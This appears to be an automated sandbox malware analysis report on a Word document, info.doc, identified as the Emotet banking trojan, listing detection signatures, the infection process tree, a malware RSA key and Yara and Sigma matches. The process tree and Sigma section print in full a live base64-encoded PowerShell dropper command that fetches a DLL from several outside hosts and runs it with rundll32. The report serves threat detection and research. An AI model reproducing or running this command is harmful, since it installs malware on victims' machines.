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Analysis Report info.doc

Overview

General Information

Sample Name:info.doc
Analysis ID:337044
MD5:407e5e05f725d0443a0a6d0d3db22e1f
SHA1:db34ce7024b5320991b464fa08cfb1d7d9a70d75
SHA256:174649f1b3e64a89faba9684bd2a160f7785b56449193c9dc412e2ac9672b1ca

Most interesting Screenshot:

Detection

Emotet
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Antivirus detection for URL or domain
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)
System process connects to network (likely due to code injection or exploit)
Yara detected Emotet
Creates processes via WMI
Document contains an embedded VBA with many GOTO operations indicating source code obfuscation
Document contains an embedded VBA with many randomly named variables
Encrypted powershell cmdline option found
Hides that the sample has been downloaded from the Internet (zone.identifier)
Obfuscated command line found
Potential dropper URLs found in powershell memory
PowerShell case anomaly found
Powershell drops PE file
Sigma detected: Suspicious Encoded PowerShell Command Line
Suspicious powershell command line found
Very long command line found
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Document contains an embedded VBA macro which executes code when the document is opened / closed
Document contains embedded VBA macros
Dropped file seen in connection with other malware
Drops PE files
Drops PE files to the windows directory (C:\Windows)
Enables debug privileges
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Queries the volume information (name, serial number etc) of a device
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara signature match

Classification

Startup

  • System is w7x64
  • WINWORD.EXE (PID: 1340 cmdline: 'C:\Program Files\Microsoft Office\Office14\WINWORD.EXE' /Automation -Embedding MD5: 95C38D04597050285A18F66039EDB456)
  • cmd.exe (PID: 2384 cmdline: cmd cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & P^Ow^er^she^L^L -w hidden -ENCOD IAAgAHMAZQB0AC0ASQB0AGUAbQAgAHYAYQBSAGkAYQBCAEwARQA6ADMAdgBDACAAIAAoAFsAVAB5AHAARQBdACgAIgB7ADUAfQB7ADAAfQB7ADEAfQB7ADMAfQB7ADIAfQB7ADQAfQAiACAALQBGACcAWQBTAHQAJwAsACcARQBtAC4ASQBvACcALAAnAEkAUgBFAGMAVABPACcALAAnAC4AZAAnACwAJwBSAHkAJwAsACcAUwAnACkAIAAgACkAOwAgACAAIABTAGUAVAAtAEkAVABFAG0AIAAgAFYAYQBSAGkAQQBCAGwARQA6ADUANAA5AGMAIAAgACgAIAAgAFsAdABZAHAAZQBdACgAIgB7ADQAfQB7ADEAfQB7ADAAfQB7ADIAfQB7ADMAfQAiACAALQBGACAAJwAuACcALAAnAHkAcwB0AEUAbQAnACwAJwBOAEUAVAAuAFMARQByAHYAaQBjAGUAUABPAGkAbgAnACwAJwBUAG0AQQBuAEEAZwBFAFIAJwAsACcAUwAnACkAIAApACAAOwAgACAAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAoACcAUwAnACsAKAAnAGkAbABlACcAKwAnAG4AJwArACcAdABsAHkAJwApACsAKAAnAEMAbwAnACsAJwBuACcAKQArACgAJwB0ACcAKwAnAGkAbgB1ACcAKQArACcAZQAnACkAOwAkAEEAOABoADIAcgB6AGIAPQAkAEYANgBfAEEAIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAEwAOQA4AFAAOwAkAE0AMAAwAE8APQAoACcAQwAnACsAKAAnADgAMgAnACsAJwBaACcAKQApADsAIAAkADMAVgBDADoAOgAiAGMAcgBlAGEAYABUAGAARQBgAEQAYABpAFIAZQBjAFQAbwBSAHkAIgAoACQASABPAE0ARQAgACsAIAAoACgAKAAnAFQAeQBWACcAKwAnAFgAdAAnACsAJwBzAF8AbgAnACkAKwAoACcAbQBmAFQAeQBWAFAANAAnACsAJwAxACcAKQArACcAOAA4ACcAKwAoACcAcQBrACcAKwAnAFQAJwApACsAJwB5AFYAJwApACAALQByAEUAcABsAGEAQwBFACAAIAAoACcAVAAnACsAJwB5AFYAJwApACwAWwBDAEgAYQByAF0AOQAyACkAKQA7ACQAQwA0ADIATgA9ACgAKAAnAEMAJwArACcAMQAzACcAKQArACcARAAnACkAOwAgACAAKAAgAGwAUwAgACAAVgBBAFIAaQBBAGIATABlADoANQA0ADkAQwAgACkALgB2AGEATAB1AEUAOgA6ACIAcwBFAGMAVQBgAFIAYABpAFQAeQBwAFIAbwB0AGAAbwBgAGMATwBsACIAIAA9ACAAKAAnAFQAJwArACgAJwBsACcAKwAnAHMAMQAyACcAKQApADsAJABEADcANwBZAD0AKAAnAFoAOAAnACsAJwBfAFYAJwApADsAJABXAHYANgB4AGIANQA3ACAAPQAgACgAKAAnAFUAOQAnACsAJwA1ACcAKQArACcARAAnACkAOwAkAEgAMAAxAFYAPQAoACgAJwBHADkAJwArACcANgAnACkAKwAnAEgAJwApADsAJABUAHoAbwA3AHQAdwBsAD0AJABIAE8ATQBFACsAKAAoACcASgBqACcAKwAnAFcAJwArACgAJwBYAHQAJwArACcAcwBfAG4AbQAnACsAJwBmAEoAagBXAFAANAAnACsAJwAxADgAJwApACsAJwA4ACcAKwAoACcAcQAnACsAJwBrAEoAJwApACsAJwBqACcAKwAnAFcAJwApAC0AYwBSAGUAUABsAGEAQwBFACAAKAAnAEoAagAnACsAJwBXACcAKQAsAFsAQwBIAEEAUgBdADkAMgApACsAJABXAHYANgB4AGIANQA3ACsAKAAnAC4AJwArACgAJwBkACcAKwAnAGwAbAAnACkAKQA7ACQAWAA1ADYAUAA9ACgAJwBMACcAKwAoACcANgA3ACcAKwAnAFEAJwApACkAOwAkAFcAdABfADUAdwBrAGMAPQAoACcAXQBiACcAKwAoACcAMgBbAHMAJwArACcAOgAnACkAKwAoACcALwAnACsAJwAvACcAKwAnAGYAbQBjAGEAJwApACsAJwB2AC4AJwArACgAJwBjAG8AbQAnACsAJwAvACcAKQArACgAJwBpAG0AYQAnACsAJwBnAGUAcwAnACkAKwAnAC8ANwAnACsAKAAnAEYAVgA0AE4AJwArACcAZAAnACsAJwAvAEAAXQBiADIAWwBzACcAKQArACgAJwA6ACcAKwAnAC8ALwAnACkAKwAoACcAdABoAGUAcAByACcAKwAnAGEAJwApACsAKAAnAGoAaQAnACsAJwBuACcAKQArACgAJwBzAGgAJwArACcAZQBlAC4AJwApACsAKAAnAGMAJwArACcAbwBtAC8AbwB0ACcAKQArACgAJwBoACcAKwAnAGUAJwArACcAcgBmACcAKwAnAGkAbABlAHMAJwArACcALwB3AEEARgBQAC8AJwApACsAJwBAAF0AJwArACgAJwBiADIAWwBzADoAJwArACcALwAnACsAJwAvACcAKwAnAHcAdwB3AC4AcgBlAG0AbwB2ACcAKwAnAGUAcAAnACkAKwAoACcAYwB0AHIAJwArACcAbwAnACkAKwAnAGoAYQAnACsAKAAnAG4AJwArACcALgBjACcAKQArACgAJwBvAG0ALwB3ACcAKwAnAHAAJwApACsAKAAnAC0AJwArACcAYQBkAG0AJwApACsAJwBpAG4AJwArACcALwAnACsAKAAnAGEAawAnACsAJwAwACcAKQArACcAYwAnACsAJwBoACcAKwAoACcASAAnACsAJwAvAEAAJwArACcAXQBiADIAJwApACsAKAAnAFsAcwAnACsAJwA6ACcAKQArACgAJwAvAC8AdwAnACsAJwB3AHcALgAnACkAKwAnAGcAJwArACgAJwBlACcAKwAnAG8AcwByACcAKQArACcAdAAuACcAKwAoACcAYwAnACsAJwBvAG0AJwApACsAKAAnAC8AYQBxAHEAJwArACcAaAAnACkAKwAoACcAdwAnACsAJwBkAGEAcAAnACkAKwAoACcALwBsACcAKwAnADAALwBAACcAKwAnAF0AYgAyAFsAcwA6ACcAKQArACcALwAvACcAKwAnAGcAZQAnACsAJwBvACcAKwAnAGYAJwArACcAZgAnACsAJwBvAGcAJwArACgAJwBsACcAKwAnAGUAbQB1AHMAaQAnACsAJwBjAC4AJwApACsAJwBjACcAKwAoACcAbwAnACsAJwBtAC8AdwBwACcAKQArACgAJwAtACcAKwAnAGEAZAAnACkAKwAoACcAbQBpACcAKwAnAG4ALwAnACkAKwAoACcANwAnACsAJwBDADEAJwApACsAJwAxACcAKwAoACcAbwAnACsAJwBBAEMALwBAACcAKQArACgAJwBdAGIAJwArACcAMgBbAHMAJwApACsAKAAnADoAJwArACcALwAvACcAKQArACcAdwB3ACcAKwAoACcAdwAnACsAJwAuAGEAYwBoAHUAdABhACcAKwAnAG0AJwArACcAYQBuACcAKQArACcAYQBzACcAKwAoACcAYQAuACcAKwAnAGMAJwApACsAKAAnAG8AbQAnACsAJwAvAGcAJwApACsAJwBhAHIAJwArACcAbQBpACcAKwAnAG4AJwArACcALQAnACsAKAAnAHAAJwArACcAcgBvAC0AZgAnACkAKwAoACcAZQAnACsAJwBpADgAbwAvACcAKQArACgAJwBtAFcAJwArACcALwAnACkAKwAoACcAQABdACcAKwAnAGIAJwApACsAJwAyACcAKwAnAFsAcwAnACsAKAAnADoALwAnACsAJwAvAGoAbwBoAG4AJwApACsAJwBsAG8AJwArACcAdgAnACsAKAAnAGUAcwAnACsAJwBrAGkAJwApACsAJwBtACcAKwAnAC4AJwArACgAJwBjAG8AbQAvACcAKwAnAGEALwAnACsAJwBUACcAKQArACgAJwBmACcAKwAnAGYALwAnACkAKQAuACIAcgBgAGUAcABgAGwAYQBjAEUAIgAoACgAKAAnAF0AYgAnACsAJwAyACcAKQArACcAWwBzACcAKQAsACgAWwBhAHIAcgBhAHkAXQAoACcAcwBkACcALAAnAHMAdwAnACkALAAoACcAaAAnACsAKAAnAHQAdAAnACsAJwBwACcAKQApACwAJwAzAGQAJwApAFsAMQBdACkALgAiAHMAcABMAGAASQB0ACIAKAAkAFgAMwBfAEEAIAArACAAJABBADgAaAAyAHIAegBiACAAKwAgACQASgA4ADQATgApADsAJABJAF8AXwBSAD0AKAAnAEYAXwAnACsAJwA1AE0AJwApADsAZgBvAHIAZQBhAGMAaAAgACgAJABOAHIAaQB0ADMAZABrACAAaQBuACAAJABXAHQAXwA1AHcAawBjACkAewB0AHIAeQB7ACgAJgAoACcATgBlAHcALQBPAGIAJwArACcAagAnACsAJwBlAGMAdAAnACkAIABTAHkAUwBUAEUATQAuAE4AZQBUAC4AdwBFAEIAYwBMAEkARQBOAHQAKQAuACIAZABPAFcAYABOAGAATABvAGEAZABGAGkATABFACIAKAAkAE4AcgBpAHQAMwBkAGsALAAgACQAVAB6AG8ANwB0AHcAbAApADsAJABKADIANABVAD0AKAAnAFAAJwArACgAJwAzACcAKwAnADUATQAnACkAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAJwArACcAdAAtAEkAdABlAG0AJwApACAAJABUAHoAbwA3AHQAdwBsACkALgAiAEwAYABlAG4AZwBUAEgAIgAgAC0AZwBlACAAMwAwADcANQA1ACkAIAB7AC4AKAAnAHIAdQBuACcAKwAnAGQAbABsADMAMgAnACkAIAAkAFQAegBvADcAdAB3AGwALAAoACcAQwBvACcAKwAoACcAbgB0AHIAbwBsAF8AJwArACcAUgB1ACcAKQArACgAJwBuAEQATAAnACsAJwBMACcAKQApAC4AIgB0AG8AYABTAFQAUgBpAE4AZwAiACgAKQA7ACQARgA5ADEAWQA9ACgAJwBYACcAKwAoACcAMQAnACsAJwAwAEcAJwApACkAOwBiAHIAZQBhAGsAOwAkAE0AXwAxAFcAPQAoACcASwAnACsAKAAnADkAJwArACcANQBEACcAKQApAH0AfQBjAGEAdABjAGgAewB9AH0AJABDADEAXwBTAD0AKAAoACcAWAAnACsAJwAzADUAJwApACsAJwBLACcAKQA= MD5: 5746BD7E255DD6A8AFA06F7C42C1BA41)
    • msg.exe (PID: 1692 cmdline: msg user /v Word experienced an error trying to open the file. MD5: 2214979661E779C3E3C33D4F14E6F3AC)
    • powershell.exe (PID: 1628 cmdline: POwersheLL -w hidden -ENCOD IAAgAHMAZQB0AC0ASQB0AGUAbQAgAHYAYQBSAGkAYQBCAEwARQA6ADMAdgBDACAAIAAoAFsAVAB5AHAARQBdACgAIgB7ADUAfQB7ADAAfQB7ADEAfQB7ADMAfQB7ADIAfQB7ADQAfQAiACAALQBGACcAWQBTAHQAJwAsACcARQBtAC4ASQBvACcALAAnAEkAUgBFAGMAVABPACcALAAnAC4AZAAnACwAJwBSAHkAJwAsACcAUwAnACkAIAAgACkAOwAgACAAIABTAGUAVAAtAEkAVABFAG0AIAAgAFYAYQBSAGkAQQBCAGwARQA6ADUANAA5AGMAIAAgACgAIAAgAFsAdABZAHAAZQBdACgAIgB7ADQAfQB7ADEAfQB7ADAAfQB7ADIAfQB7ADMAfQAiACAALQBGACAAJwAuACcALAAnAHkAcwB0AEUAbQAnACwAJwBOAEUAVAAuAFMARQByAHYAaQBjAGUAUABPAGkAbgAnACwAJwBUAG0AQQBuAEEAZwBFAFIAJwAsACcAUwAnACkAIAApACAAOwAgACAAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAoACcAUwAnACsAKAAnAGkAbABlACcAKwAnAG4AJwArACcAdABsAHkAJwApACsAKAAnAEMAbwAnACsAJwBuACcAKQArACgAJwB0ACcAKwAnAGkAbgB1ACcAKQArACcAZQAnACkAOwAkAEEAOABoADIAcgB6AGIAPQAkAEYANgBfAEEAIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAEwAOQA4AFAAOwAkAE0AMAAwAE8APQAoACcAQwAnACsAKAAnADgAMgAnACsAJwBaACcAKQApADsAIAAkADMAVgBDADoAOgAiAGMAcgBlAGEAYABUAGAARQBgAEQAYABpAFIAZQBjAFQAbwBSAHkAIgAoACQASABPAE0ARQAgACsAIAAoACgAKAAnAFQAeQBWACcAKwAnAFgAdAAnACsAJwBzAF8AbgAnACkAKwAoACcAbQBmAFQAeQBWAFAANAAnACsAJwAxACcAKQArACcAOAA4ACcAKwAoACcAcQBrACcAKwAnAFQAJwApACsAJwB5AFYAJwApACAALQByAEUAcABsAGEAQwBFACAAIAAoACcAVAAnACsAJwB5AFYAJwApACwAWwBDAEgAYQByAF0AOQAyACkAKQA7ACQAQwA0ADIATgA9ACgAKAAnAEMAJwArACcAMQAzACcAKQArACcARAAnACkAOwAgACAAKAAgAGwAUwAgACAAVgBBAFIAaQBBAGIATABlADoANQA0ADkAQwAgACkALgB2AGEATAB1AEUAOgA6ACIAcwBFAGMAVQBgAFIAYABpAFQAeQBwAFIAbwB0AGAAbwBgAGMATwBsACIAIAA9ACAAKAAnAFQAJwArACgAJwBsACcAKwAnAHMAMQAyACcAKQApADsAJABEADcANwBZAD0AKAAnAFoAOAAnACsAJwBfAFYAJwApADsAJABXAHYANgB4AGIANQA3ACAAPQAgACgAKAAnAFUAOQAnACsAJwA1ACcAKQArACcARAAnACkAOwAkAEgAMAAxAFYAPQAoACgAJwBHADkAJwArACcANgAnACkAKwAnAEgAJwApADsAJABUAHoAbwA3AHQAdwBsAD0AJABIAE8ATQBFACsAKAAoACcASgBqACcAKwAnAFcAJwArACgAJwBYAHQAJwArACcAcwBfAG4AbQAnACsAJwBmAEoAagBXAFAANAAnACsAJwAxADgAJwApACsAJwA4ACcAKwAoACcAcQAnACsAJwBrAEoAJwApACsAJwBqACcAKwAnAFcAJwApAC0AYwBSAGUAUABsAGEAQwBFACAAKAAnAEoAagAnACsAJwBXACcAKQAsAFsAQwBIAEEAUgBdADkAMgApACsAJABXAHYANgB4AGIANQA3ACsAKAAnAC4AJwArACgAJwBkACcAKwAnAGwAbAAnACkAKQA7ACQAWAA1ADYAUAA9ACgAJwBMACcAKwAoACcANgA3ACcAKwAnAFEAJwApACkAOwAkAFcAdABfADUAdwBrAGMAPQAoACcAXQBiACcAKwAoACcAMgBbAHMAJwArACcAOgAnACkAKwAoACcALwAnACsAJwAvACcAKwAnAGYAbQBjAGEAJwApACsAJwB2AC4AJwArACgAJwBjAG8AbQAnACsAJwAvACcAKQArACgAJwBpAG0AYQAnACsAJwBnAGUAcwAnACkAKwAnAC8ANwAnACsAKAAnAEYAVgA0AE4AJwArACcAZAAnACsAJwAvAEAAXQBiADIAWwBzACcAKQArACgAJwA6ACcAKwAnAC8ALwAnACkAKwAoACcAdABoAGUAcAByACcAKwAnAGEAJwApACsAKAAnAGoAaQAnACsAJwBuACcAKQArACgAJwBzAGgAJwArACcAZQBlAC4AJwApACsAKAAnAGMAJwArACcAbwBtAC8AbwB0ACcAKQArACgAJwBoACcAKwAnAGUAJwArACcAcgBmACcAKwAnAGkAbABlAHMAJwArACcALwB3AEEARgBQAC8AJwApACsAJwBAAF0AJwArACgAJwBiADIAWwBzADoAJwArACcALwAnACsAJwAvACcAKwAnAHcAdwB3AC4AcgBlAG0AbwB2ACcAKwAnAGUAcAAnACkAKwAoACcAYwB0AHIAJwArACcAbwAnACkAKwAnAGoAYQAnACsAKAAnAG4AJwArACcALgBjACcAKQArACgAJwBvAG0ALwB3ACcAKwAnAHAAJwApACsAKAAnAC0AJwArACcAYQBkAG0AJwApACsAJwBpAG4AJwArACcALwAnACsAKAAnAGEAawAnACsAJwAwACcAKQArACcAYwAnACsAJwBoACcAKwAoACcASAAnACsAJwAvAEAAJwArACcAXQBiADIAJwApACsAKAAnAFsAcwAnACsAJwA6ACcAKQArACgAJwAvAC8AdwAnACsAJwB3AHcALgAnACkAKwAnAGcAJwArACgAJwBlACcAKwAnAG8AcwByACcAKQArACcAdAAuACcAKwAoACcAYwAnACsAJwBvAG0AJwApACsAKAAnAC8AYQBxAHEAJwArACcAaAAnACkAKwAoACcAdwAnACsAJwBkAGEAcAAnACkAKwAoACcALwBsACcAKwAnADAALwBAACcAKwAnAF0AYgAyAFsAcwA6ACcAKQArACcALwAvACcAKwAnAGcAZQAnACsAJwBvACcAKwAnAGYAJwArACcAZgAnACsAJwBvAGcAJwArACgAJwBsACcAKwAnAGUAbQB1AHMAaQAnACsAJwBjAC4AJwApACsAJwBjACcAKwAoACcAbwAnACsAJwBtAC8AdwBwACcAKQArACgAJwAtACcAKwAnAGEAZAAnACkAKwAoACcAbQBpACcAKwAnAG4ALwAnACkAKwAoACcANwAnACsAJwBDADEAJwApACsAJwAxACcAKwAoACcAbwAnACsAJwBBAEMALwBAACcAKQArACgAJwBdAGIAJwArACcAMgBbAHMAJwApACsAKAAnADoAJwArACcALwAvACcAKQArACcAdwB3ACcAKwAoACcAdwAnACsAJwAuAGEAYwBoAHUAdABhACcAKwAnAG0AJwArACcAYQBuACcAKQArACcAYQBzACcAKwAoACcAYQAuACcAKwAnAGMAJwApACsAKAAnAG8AbQAnACsAJwAvAGcAJwApACsAJwBhAHIAJwArACcAbQBpACcAKwAnAG4AJwArACcALQAnACsAKAAnAHAAJwArACcAcgBvAC0AZgAnACkAKwAoACcAZQAnACsAJwBpADgAbwAvACcAKQArACgAJwBtAFcAJwArACcALwAnACkAKwAoACcAQABdACcAKwAnAGIAJwApACsAJwAyACcAKwAnAFsAcwAnACsAKAAnADoALwAnACsAJwAvAGoAbwBoAG4AJwApACsAJwBsAG8AJwArACcAdgAnACsAKAAnAGUAcwAnACsAJwBrAGkAJwApACsAJwBtACcAKwAnAC4AJwArACgAJwBjAG8AbQAvACcAKwAnAGEALwAnACsAJwBUACcAKQArACgAJwBmACcAKwAnAGYALwAnACkAKQAuACIAcgBgAGUAcABgAGwAYQBjAEUAIgAoACgAKAAnAF0AYgAnACsAJwAyACcAKQArACcAWwBzACcAKQAsACgAWwBhAHIAcgBhAHkAXQAoACcAcwBkACcALAAnAHMAdwAnACkALAAoACcAaAAnACsAKAAnAHQAdAAnACsAJwBwACcAKQApACwAJwAzAGQAJwApAFsAMQBdACkALgAiAHMAcABMAGAASQB0ACIAKAAkAFgAMwBfAEEAIAArACAAJABBADgAaAAyAHIAegBiACAAKwAgACQASgA4ADQATgApADsAJABJAF8AXwBSAD0AKAAnAEYAXwAnACsAJwA1AE0AJwApADsAZgBvAHIAZQBhAGMAaAAgACgAJABOAHIAaQB0ADMAZABrACAAaQBuACAAJABXAHQAXwA1AHcAawBjACkAewB0AHIAeQB7ACgAJgAoACcATgBlAHcALQBPAGIAJwArACcAagAnACsAJwBlAGMAdAAnACkAIABTAHkAUwBUAEUATQAuAE4AZQBUAC4AdwBFAEIAYwBMAEkARQBOAHQAKQAuACIAZABPAFcAYABOAGAATABvAGEAZABGAGkATABFACIAKAAkAE4AcgBpAHQAMwBkAGsALAAgACQAVAB6AG8ANwB0AHcAbAApADsAJABKADIANABVAD0AKAAnAFAAJwArACgAJwAzACcAKwAnADUATQAnACkAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAJwArACcAdAAtAEkAdABlAG0AJwApACAAJABUAHoAbwA3AHQAdwBsACkALgAiAEwAYABlAG4AZwBUAEgAIgAgAC0AZwBlACAAMwAwADcANQA1ACkAIAB7AC4AKAAnAHIAdQBuACcAKwAnAGQAbABsADMAMgAnACkAIAAkAFQAegBvADcAdAB3AGwALAAoACcAQwBvACcAKwAoACcAbgB0AHIAbwBsAF8AJwArACcAUgB1ACcAKQArACgAJwBuAEQATAAnACsAJwBMACcAKQApAC4AIgB0AG8AYABTAFQAUgBpAE4AZwAiACgAKQA7ACQARgA5ADEAWQA9ACgAJwBYACcAKwAoACcAMQAnACsAJwAwAEcAJwApACkAOwBiAHIAZQBhAGsAOwAkAE0AXwAxAFcAPQAoACcASwAnACsAKAAnADkAJwArACcANQBEACcAKQApAH0AfQBjAGEAdABjAGgAewB9AH0AJABDADEAXwBTAD0AKAAoACcAWAAnACsAJwAzADUAJwApACsAJwBLACcAKQA= MD5: 852D67A27E454BD389FA7F02A8CBE23F)
      • rundll32.exe (PID: 2468 cmdline: 'C:\Windows\system32\rundll32.exe' C:\Users\user\Xts_nmf\P4188qk\U95D.dll Control_RunDLL MD5: DD81D91FF3B0763C392422865C9AC12E)
        • rundll32.exe (PID: 2296 cmdline: 'C:\Windows\system32\rundll32.exe' C:\Users\user\Xts_nmf\P4188qk\U95D.dll Control_RunDLL MD5: 51138BEEA3E2C21EC44D0932C71762A8)
          • rundll32.exe (PID: 2848 cmdline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Sfwveevpdqixuom\bsjtfkdrderxek.bnn',Control_RunDLL MD5: 51138BEEA3E2C21EC44D0932C71762A8)
            • rundll32.exe (PID: 2684 cmdline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Vobicwh\otzfel.hzn',Control_RunDLL MD5: 51138BEEA3E2C21EC44D0932C71762A8)
              • rundll32.exe (PID: 2880 cmdline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Uxgydceommtwiki\qzhrxsieatmrnj.xlc',Control_RunDLL MD5: 51138BEEA3E2C21EC44D0932C71762A8)
                • rundll32.exe (PID: 2884 cmdline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Bdzitbg\obtbak.jsi',Control_RunDLL MD5: 51138BEEA3E2C21EC44D0932C71762A8)
                  • rundll32.exe (PID: 2444 cmdline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Xewbyzlpihpnskgh\wwdzuofqhkcpmfa.gyu',Control_RunDLL MD5: 51138BEEA3E2C21EC44D0932C71762A8)
                    • rundll32.exe (PID: 2408 cmdline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Qakdocqxk\cjwfvfif.ylv',Control_RunDLL MD5: 51138BEEA3E2C21EC44D0932C71762A8)
                      • rundll32.exe (PID: 2780 cmdline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Hutifyziasbygiy\qhmiqrfpmiryum.ywy',Control_RunDLL MD5: 51138BEEA3E2C21EC44D0932C71762A8)
                        • rundll32.exe (PID: 2976 cmdline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Tsbimf\rxvqt.dyw',Control_RunDLL MD5: 51138BEEA3E2C21EC44D0932C71762A8)
                          • rundll32.exe (PID: 2948 cmdline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Zqkhe\wtjq.kha',Control_RunDLL MD5: 51138BEEA3E2C21EC44D0932C71762A8)
                            • rundll32.exe (PID: 2720 cmdline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Rimdqgeexmnm\pcwmnbkufem.jtj',Control_RunDLL MD5: 51138BEEA3E2C21EC44D0932C71762A8)
                              • rundll32.exe (PID: 852 cmdline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Xoteg\llch.amx',Control_RunDLL MD5: 51138BEEA3E2C21EC44D0932C71762A8)
                                • rundll32.exe (PID: 600 cmdline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Vaxphioewmusne\ukdxjhhssdymm.ubj',Control_RunDLL MD5: 51138BEEA3E2C21EC44D0932C71762A8)
                                  • rundll32.exe (PID: 1192 cmdline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Widpnptibmnvlc\vizfdwjpjtiec.yqj',Control_RunDLL MD5: 51138BEEA3E2C21EC44D0932C71762A8)
  • cleanup

Malware Configuration

Threatname: Emotet

{"RSA Public Key": "MHwwDQYJKoZIhvcNAQEBBQADawAwaAJhAOZ9fLJ8UrI0OZURpPsR3eijAyfPj3z6\nuS75f2igmYFW2aWgNcFIzsAYQleKzD0nlCFHOo7Zf8/4wY2UW0CJ4dJEHnE/PHlz\n6uNk3pxjm7o4eCDyiJbzf+k0Azjl0q54FQIDAQAB"}

Yara Overview

Memory Dumps

SourceRuleDescriptionAuthorStrings
0000000C.00000002.2095952053.00000000001B1000.00000020.00000001.sdmpJoeSecurity_EmotetYara detected EmotetJoe Security
    00000012.00000002.2107348022.0000000000691000.00000020.00000001.sdmpJoeSecurity_EmotetYara detected EmotetJoe Security
      00000007.00000002.2087899639.00000000001E0000.00000040.00000001.sdmpJoeSecurity_EmotetYara detected EmotetJoe Security
        0000000C.00000002.2095884659.0000000000190000.00000040.00000001.sdmpJoeSecurity_EmotetYara detected EmotetJoe Security
          00000008.00000002.2089448478.0000000000160000.00000040.00000001.sdmpJoeSecurity_EmotetYara detected EmotetJoe Security
            Click to see the 25 entries

            Unpacked PEs

            SourceRuleDescriptionAuthorStrings
            17.2.rundll32.exe.130000.0.raw.unpackJoeSecurity_EmotetYara detected EmotetJoe Security
              12.2.rundll32.exe.190000.0.unpackJoeSecurity_EmotetYara detected EmotetJoe Security
                10.2.rundll32.exe.250000.1.unpackJoeSecurity_EmotetYara detected EmotetJoe Security
                  9.2.rundll32.exe.1c0000.1.unpackJoeSecurity_EmotetYara detected EmotetJoe Security
                    15.2.rundll32.exe.210000.0.unpackJoeSecurity_EmotetYara detected EmotetJoe Security
                      Click to see the 37 entries

                      Sigma Overview

                      System Summary:

                      barindex
                      Sigma detected: Suspicious Encoded PowerShell Command LineShow sources
                      Source: Process startedAuthor: Florian Roth, Markus Neis: Data: Command: POwersheLL -w hidden -ENCOD IAAgAHMAZQB0AC0ASQB0AGUAbQAgAHYAYQBSAGkAYQBCAEwARQA6ADMAdgBDACAAIAAoAFsAVAB5AHAARQBdACgAIgB7ADUAfQB7ADAAfQB7ADEAfQB7ADMAfQB7ADIAfQB7ADQAfQAiACAALQBGACcAWQBTAHQAJwAsACcARQBtAC4ASQBvACcALAAnAEkAUgBFAGMAVABPACcALAAnAC4AZAAnACwAJwBSAHkAJwAsACcAUwAnACkAIAAgACkAOwAgACAAIABTAGUAVAAtAEkAVABFAG0AIAAgAFYAYQBSAGkAQQBCAGwARQA6ADUANAA5AGMAIAAgACgAIAAgAFsAdABZAHAAZQBdACgAIgB7ADQAfQB7ADEAfQB7ADAAfQB7ADIAfQB7ADMAfQAiACAALQBGACAAJwAuACcALAAnAHkAcwB0AEUAbQAnACwAJwBOAEUAVAAuAFMARQByAHYAaQBjAGUAUABPAGkAbgAnACwAJwBUAG0AQQBuAEEAZwBFAFIAJwAsACcAUwAnACkAIAApACAAOwAgACAAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAoACcAUwAnACsAKAAnAGkAbABlACcAKwAnAG4AJwArACcAdABsAHkAJwApACsAKAAnAEMAbwAnACsAJwBuACcAKQArACgAJwB0ACcAKwAnAGkAbgB1ACcAKQArACcAZQAnACkAOwAkAEEAOABoADIAcgB6AGIAPQAkAEYANgBfAEEAIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAEwAOQA4AFAAOwAkAE0AMAAwAE8APQAoACcAQwAnACsAKAAnADgAMgAnACsAJwBaACcAKQApADsAIAAkADMAVgBDADoAOgAiAGMAcgBlAGEAYABUAGAARQBgAEQAYABpAFIAZQBjAFQAbwBSAHkAIgAoACQASABPAE0ARQAgACsAIAAoACgAKAAnAFQAeQBWACcAKwAnAFgAdAAnACsAJwBzAF8AbgAnACkAKwAoACcAbQBmAFQAeQBWAFAANAAnACsAJwAxACcAKQArACcAOAA4ACcAKwAoACcAcQBrA